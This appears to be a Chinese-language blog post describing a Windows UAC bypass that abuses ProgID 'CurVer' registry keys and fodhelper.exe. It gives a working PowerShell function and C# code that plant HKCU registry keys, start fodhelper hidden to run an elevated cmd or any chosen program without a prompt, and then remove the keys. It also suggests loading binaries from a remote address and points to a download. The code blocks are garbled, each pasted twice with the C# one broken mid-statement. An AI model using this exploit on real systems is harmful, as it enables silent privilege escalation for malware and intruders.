ProgIDs
在 Windows 中,编程标识符 ( ProgID ) 是一个注册表项,可以与类 ID ( CLSID)关联,类 ID ( CLSID ) 是一个全球唯一的序列号,用于标识COM(组件对象模型)类对象。简单来说,ProgID基本上是一个字符串,例如my-application.document
,它代表一个CLSID
,例如{F9043C85-F6F2-101A-A3C9-08002B2F49FB}
。
此外,Windows Shell
使用ProgID
注册表子项将文件类型与应用程序相关联,并控制关联的行为。ProgID
子项中使用的值之一是名称为 的元素CurVer
。CurVer
如果在系统上找到多个其他版本,则该条目用于设置 COM 应用程序的默认版本。
FodHelper
FodHelper
(全称: Features On Demand Helper)。默认情况下,fodhelper.exe
以高完整性级别运行。启动时,它会检查是否存在以下注册表项:
1 2 3
| HKCU:\Software\Classes\ms-settings\shell\open\command HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute HKCU:\Software\Classes\ms-settings\shell\open\command\(default)
|
如果上述注册表项具有分配给它们的命令,fodhelper.exe
则将在具有Elevated
的上下文中执行,在这期间并不会弹出UAC窗口。
实现
Powershell
powershell脚本来自原作者文章
1 2 3 4 5 6 7 8 9 10 11 12 13
| function Bypass { Param ( [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" ) New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse function Bypass { Param ( [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" ) New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force Remove-Item "HKCU:\Software\Classes\.pwn\" -Recurse -Force }
|
> Import-Module .\uac.ps1
>Bypass
>Bypass c:\xxx\some.exe
默认会启动一个具有Elevated的cmd窗口,或者指定运行的exe程序
二进制文件
核心代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| string prog = @"cmd /c start C:\Windows\System32\cmd.exe"; string fod = @"C:\Windows\System32\fodhelper.exe"; string pwnSubKey = @"Classes\.uac\Shell\Open\command"; string curVerSubKey = @"Classes\ms-settings\CurVer"; RegisterHelper registerHelper = new RegisterHelper(); if (args.Length == 1 && args[0] != null) { prog = args[0]; } registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,pwnSubKey , "", prog); registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,curVerSubKey , "", ".uac"); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = fod; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(processStartInfo);
Thread.Sleep(1000); registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\ms-settings\"); registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, string prog = @"cmd /c start C:\Windows\System32\cmd.exe"; string fod = @"C:\Windows\System32\fodhelper.exe"; string pwnSubKey = @"Classes\.uac\Shell\Open\command"; string curVerSubKey = @"Classes\ms-settings\CurVer"; RegisterHelper registerHelper = new RegisterHelper(); if (args.Length == 1 && args[0] != null) { prog = args[0]; } registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,pwnSubKey , "", prog); registerHelper.SetValue(RegisterHelper.KeyType.HKEY_CURRENT_USER,curVerSubKey , "", ".uac"); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = fod; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(processStartInfo);
Thread.Sleep(1000); registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\ms-settings\"); registerHelper.DeleteSubKey(RegisterHelper.KeyType.HKEY_CURRENT_USER, @"Classes\.uac\");
|
> ProgIDsUACBypass.exe
> ProgIDsUACBypass.exe c:\xxxx\some.exe
默认会启动一个具有Elevated的cmd窗口,或者指定运行的exe程序
当然,如果你愿意可以考虑从远程地址加载指定二进制文件
注意
当运行指定二进制文件时必须填写绝对路径,除非有相应的环境变量。
下载
powershell脚本和二进制文件已上传至github
https://github.com/DeEpinGh0st/Gadgets/tree/master/UAC
参考
https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses